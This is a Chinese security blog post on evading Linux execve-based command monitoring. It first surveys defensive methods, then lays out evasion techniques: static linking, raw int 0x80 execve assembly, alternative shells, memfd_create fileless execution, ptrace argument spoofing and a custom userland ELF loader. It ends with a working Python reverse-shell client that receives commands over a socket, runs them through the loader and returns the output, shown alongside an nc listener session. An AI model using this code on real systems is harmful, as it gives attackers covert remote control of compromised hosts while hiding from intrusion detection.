微信公众号:七夜安全博客 关注信息安全技术、关注 系统底层原理。问题或建议,请公众号留言。
本篇聊一聊 新的主题:《反弹shell-逃逸基于execve的命令监控》,打算写一个专题,预估可以写三篇,内容确实有点多,也是最近研究了一些有意思的东西,想给大家分享一下。喜欢的话,请大家一定点在看,并分享出去,算是对我原创最大的支持了。如何想看新方法,直接到最后。
在linux中,大家用的比较多的是shell命令,同样在渗透到linux服务器,植入木马后,探测信息,执行恶意操作,维持权限,横向移动,shell命令也是必不可少的。既然在攻击侧,shell命令如此重要,那在安全防御方面,shell命令的监控也是非常关键的检测维度。各大厂商,一般怎么监控shell命令的调用呢?
系统命令,其实就是一个个程序,执行起来也就是一个个进程。命令执行的监控,也就是对外部进程创建的监控。在linux中,启动外部进程,是通过execve系统调用进行创建的,我们使用strace 打印一下在bash中启动ls的系统调用,第一句就是通过execve启动ls。
但是我们在开发linux程序的时候,执行系统命令,并没有直接使用execve系统调用,这是因为libc/glibc库对execve系统调用封装成了函数,方便我们调用。
因此基于execve的系统命令监控方式,分成了用户态和内核态。用户态通过劫持libc/glibc的exec相关函数来实现,内核态则通过系统自身组件或者劫持execve syscall 来实现。
在libc/glibc中,对execve syscall 进行了一系列的封装,简称exec族函数。exec系列函数调用时,启动新进程,替换掉当前进程。即程序不会再返回到原进程,具体内容如下:
int execl(constchar*path,constchar*arg0,...,(char*)0);
int execlp(constchar*file,constchar*arg0,...,(char*)0);
int execle(constchar*path,constchar*arg0,...,(char*)0,char*const envp[]);
int execv(cosnt char*path,char*const argv[]);
int execvp(cosnt char*file,char*const argv[]);
int execve(cosnt char*path,char*const argv[],char*const envp[]);
怎么劫持libc/glibc中的函数,我就不扩展了,大家google一下 so preload 劫持。
在内核态监控其实是最准确,而且是最难绕过的。在内核态,一般是通过三种办法来监控:
(1) Netlink Connector
在介绍 Netlink Connector 之前,首先了解一下 Netlink 是什么,Netlink 是一个套接字家族(socket family),它被用于内核与用户态进程以及用户态进程之间的 IPC 通信,ss命令就是通过 Netlink 与内核通信获取的信息。
Netlink Connector 是一种 Netlink ,它的 Netlink 协议号是NETLINK_CONNECTOR,其代码位于:
https://github.com/torvalds/linux/tree/master/drivers/connector
其中 connectors.c 和 cnqueue.c 是 Netlink Connector 的实现代码,而 cnproc.c 是一个应用实例名为进程事件连接器,我们可以通过该连接器来实现对进程创建的监控。
实现方案:
(引用来源:https://4hou.win/wordpress/?p=29586)
说明:
cat/boot/config-$(uname-r)|egrep'CONFIGCONNECTOR|CONFIGPROC_EVENTS'
就可以查看。优点:
轻量级,在用户态即可获得内核提供的信息。
缺点:
仅能获取到 pid,详细信息需要查/proc/pid/,这就存在时间差,可能有数据丢失。
(2) Audit
Audit 是 Linux 内核中用来进行审计的组件,可监控系统调用和文件访问,具体架构如下:
架构说明:
优点
缺点
性能消耗随着进程数量提升有所上升。
(3) Hook execve syscall
除了Netlink Connector 和 Audit 这两种Linux 本身提供的监控系统调用方式,如果想拥有更大程度的可定制化,就需要通过安装内核模块来对系统调用进行 hook。
目前常用的 hook 方法是通过修改syscall table(Linux 系统调用表)来实现,原理是系统在执行系统调用时是通过系统调用号在syscalltable中找到相应的函数进行调用,所以只要将syscalltable中execve对应的地址改为我们安装的内核模块中的函数地址即可.
具体细节请参考:驭龙 HIDS实现进程监控,里面已经介绍的非常详细了,不再赘述。
优点
高定制化,从系统调用层面获取完整信息。
缺点
基于 Patch Shell解释器的命令监控是基于execve的系统命令监控的补充方案,因为通过监控execve系统调用的方式,理论上可以完全覆盖系统命令的调用,那为什么还要 Patch Shell解释器呢?大家别忘了,shell不仅可以调用外部系统命令,自身还有很多内置命令。内置命令是shell解释器中的一部分,可以理解为是shell解释器中的一个函数,并不会额外创建进程。因此监控execve系统调用是无法监控这部分的,当然能用作恶意行为的内置命令并不多,算是一个补充。如何判断是否是内置命令呢?通过type指令,示例如下:
[root@localhost ~]# type cd
cd is a Shell builtin
[root@localhost ~]# type ifconfig
ifconfig is/sbin/ifconfig
完整的内置命令列表,请参考 shell内置命令[http://c.biancheng.net/view/1136.html]。
如何Patch Shell解释器 ? 原理很简单,对shell解释器的输入进行修改,将输入写入到文件中,进行分析即可。shell解释器很多,以bash举例:
在这两个地方将写文件的代码嵌入进去即可。
以上讲解了现有Shell命令监控方法,下面一一进行击破。对抗命令监控一般是在三个方面动手脚:
在上述的三个方法中,第一种和第二种方法算是比较根本的方法,没有真实的数据,策略模型就无法命中目标并告警,第三种方法需要较多的经验,但是通过混淆命令绕过静态检测策略,也是比较常见的。
已知的绕过命令监控的方案:用户态glibc/libc exec劫持,Patch Shell解释器,内核态的execve监控,均可被绕过。
方法1:glibc/libc是linux中常用的动态链接库,也就是说在动态链接程序的时候才会用到它,那么我们只需要将木马后门进行静态编译即可,不依赖系统中的glibc/libc执行,就不会被劫持。
方法2: glibc/libc是对linux系统调用(syscall)的封装,我们使用它是为了简化对系统调用的使用,其实我们可以不用它,直接使用汇编 sysenter/int 0x80指令调用execve系统调用,下面是使用int 0x80调用execve syscall的简写代码:
mov byte al, 0x0b # 好了,现在把execve()的系统调用号11号放入eax的最下位的al中
mov ebx, esi # 现在是第一个参数,字符串的位置放入ebx
lea ecx, [esi+8] # 第二个参数,要点是这个参数类型是char **, 如果/bin/sh有其它参数的话,整个程序写法就又不一样了
lea edx, [esi+12] # 最后是null的地址,注意,是null的地址,不是null,因为写这是为了shellcode做准备,shellcode中不可以有null
int0x80
当然还有其他方法,比如重写LD_PRELOAD环境变量,这样的动作太大,就不讲了。
方法1:不使用shell解释器执行命令,直接使用execve 方法2:不使用被Patch的shell解释器,例如大家常用的bash被patch,那你可以使用linux另一个 tcsh解释器来执行命令。
[root@VM_0_13_centos ~]# tcsh -c "echo hello"
hello
只要你使用了execve执行了命令,就绝对逃不过内核态execve syscall的监控,太底层了,除非你把防御方的内核驱动给卸载了。既然如此,那怎么绕过呢?
方法很简单,就是不使用execve系统调用。(不是废话)
大家想想为什么会有反弹shell? 为什么要弹shell?
其实是我们想借用linux中自带的系统命令来达到我们的目的,尤其是在linux中以系统命令操作为主。
以 ls
命令为例子,功能是查看目录中有哪些文件,假如我们不想使用ls命令,那我们有什么办法呢?
那就自己写一个类似功能程序的代码,然后执行就可以了。既然不想使用execve启动进程来执行,那直接在木马中执行shellcode就ok了。
我以python shellcode为例子(你也可以写 汇编 shellcode):
ls_shellcode = '''
import os
dst_path = '{dst_path}'
dirs = os.listdir(dst_path)
for file in dirs:
print(file)
'''
exec(ls_shellcode.format(dst_path = "C:/"))
输出:
$Recycle.Bin
DocumentsandSettings
Intel
pagefile.sys
PerfLogs
ProgramFiles
ProgramFiles(x86)
......
这样根本不会出现execve系统调用,你要把shellcode通过网络传输过来即可。
隐秘还是挺隐秘的,缺点就是费事,尤其是写汇编shellcode的时候,linux中使用的命令还是挺多的,而且自己写的shellcode,也没有原始linux命令使用的亲切感。
在linux中有个syscall,名字叫做memfd_create (http://man7.org/linux/man-pages/man2/memfd_create.2.html)。
memfd_create()会创建一个匿名文件并返回一个指向这个文件的文件描述符.这个文件就像是一个普通文件一样,所以能够被修改,截断,内存映射等等.不同于一般文件,此文件是保存在RAM中.一旦所有指向这个文件的连接丢失,那么这个文件就会自动被释放
这就是说memfd_create创建的文件是存在与RAM中,那这个的文件名类似 /proc/self/fd/%d,也就是说假如我们把 ls
命令bin文件使用memfd_create写到内存中,然后在内存中使用execve执行,那看到的不是 ls,而是执行的 /proc/self/fd/%d ,从而实现了进程名称混淆 和无文件。
具体看这篇文章(http://www.polaris-lab.com/index.php/archives/666/),非常详细,还有例子说明。
使用的是linux中另一个syscall: ptrace。ptrace是用来调试程序用的,使用execve启动进程,相对于自身来说是启动子进程,ptrace 的使用流程一般是这样的:
父进程 fork() 出子进程,子进程中执行我们所想要 trace 的程序,在子进程调用 exec() 之前,子进程需要先调用一次 ptrace,以 PTRACETRACEME 为参数。这个调用是为了告诉内核,当前进程已经正在被 traced,当子进程执行 execve() 之后,子进程会进入暂停状态,把控制权转给它的父进程(SIGCHLD信号), 而父进程在fork()之后,就调用 wait() 等子进程停下来,当 wait() 返回后,父进程就可以去查看子进程的寄存器或者对子进程做其它的事情了
假如我们想执行 ls-alh
,在上文中 ls
已经可以被混淆了。接下来使用ptrace 对 -alh
进行混淆。大体的操作流程如下:
-alh
,最后接着让子进程继续运行即可。具体请看这篇文章:http://www.polaris-lab.com/index.php/archives/667/,不再赘述。
在已知的绕过方法中,通过shellcode方式绕过内核态的execve监控,算是相对优雅的方式了,我比较喜欢这种,但是这种方式又太麻烦,linux的命令我都要重写成shellcode, 而且显示方式肯定没有原来这么可爱。
主要是懒。。。。
其实我的需求很简单:
我既想要linux命令原有的功能,又不想用execve syscall的方式启动。
想了想,为什么不能将linux 命令直接当成shellcode来执行呢?
本质上就是重写execve,实现用户态加载elf文件,即 elf loader。
elf loader的作用,简单来讲是将elf文件读到内存中,然后将eip指针指向elf的入口即可,这样就和shellcode一样直接运行了。下面展示一下我写的elf loader的效果:
[root@VM_0_13_centos ~]# ./loader /bin/ls /etc/ -alh
total 1.6M
drwxr-xr-x. 98 root root 12KNov2519:14.
dr-xr-xr-x. 19 root root 4.0KDec821:36..
drwxr-xr-x. 4 root root 4.0KApr212016 acpi
-rw-r--r--. 1 root root 16Apr212016 adjtime
-rw-r--r--. 1 root root 1.5KJun72013 aliases
drwxr-xr-x. 2 root root 4.0KOct1320:47 alternatives
......
咱们看看有没有用到execve,使用strace打印一下系统调用,没有出现对 ls
的调用过程。
为了防止被用户态劫持,里面的所有和系统有关的函数,都是通过系统调用的方式。
根据这个loader, 我简单写了个反弹shell,比较简陋。客户端代码如下:
import socket # 导入 socket 模块
bin_paths=["/usr/bin/","/bin/","/sbin/","/usr/local/sbin/","/usr/sbin/"]
s = socket.socket() # 创建 socket 对象
host = "127.0.0.1"#
port = 8877# 设置端口号
s.connect((host, port))
content = s.recv(1024)
while content:
cmd_str = content.decode('utf8').strip()
cmds = cmd_str.split()
cmd_bin_path = None
cmd_args = ""
if len(cmds)<1:
content = s.recv(1024)
else:
for bin_path in bin_paths:
if os.path.exists(os.path.join(bin_path,cmds[0])):
cmd_bin_path = os.path.join(bin_path,cmds[0])
break
if len(cmds)>1:
cmd_args = " ".join(cmds[1:])
if cmd_bin_path:
p = subprocess.Popen(" ".join(["./loader",cmd_bin_path,cmd_args]), stderr=subprocess.STDOUT, stdout=subprocess.PIPE, shell=True)
s.send(p.stdout.read())
content = s.recv(1024)
else:
s.send(" ".join([cmd_str,"not found\n"]))
content = s.recv(1024)
接着在本机使用 nc
启动一个服务端: nc-vv-l-p8877
,反弹shell跑起来,执行个ls命令:
[root@VM_0_13_centos ~]# nc -vv -l -p 8877
Ncat: Version7.50( https://nmap.org/ncat )
Ncat: Listening on :::8877
Ncat: Listening on 0.0.0.0:8877
Ncat: Connectionfrom127.0.0.1.
Ncat: Connectionfrom127.0.0.1:57430.
ls
1
1.c
1.html
1.txt
25E77E5009315BF1591DF8ED0CCDBB34
2b07db3c02e8d33f44c6ae25c5461dd9
2b07db3c02e8d33f44c6ae25c5461dd9.dump
8dfca97bd479e458c780af4f051850ce
......
这样的情况下,主机上只能监控到一个网络连接,命令不能作为一个检测维度了,这样难度就大很多。
这个方案暂时还不够完美,主要是以下几点:
最优的效果是 无文件,无命令,无进程,无参数。
接下来的文章,我们会继续优化这个方案,达到理想的效果。
这篇文章写了三个星期,主要是工作挺忙了,每天写一点,后台也有朋友经常催更的,很抱歉了。
最近工作方面也取得一些短暂的进展,运气还是会倾向于努力的人。
继续战斗,敬请期待。
参考文献:
http://www.polaris-lab.com/index.php/archives/667/;
https://segmentfault.com/a/1190000019828080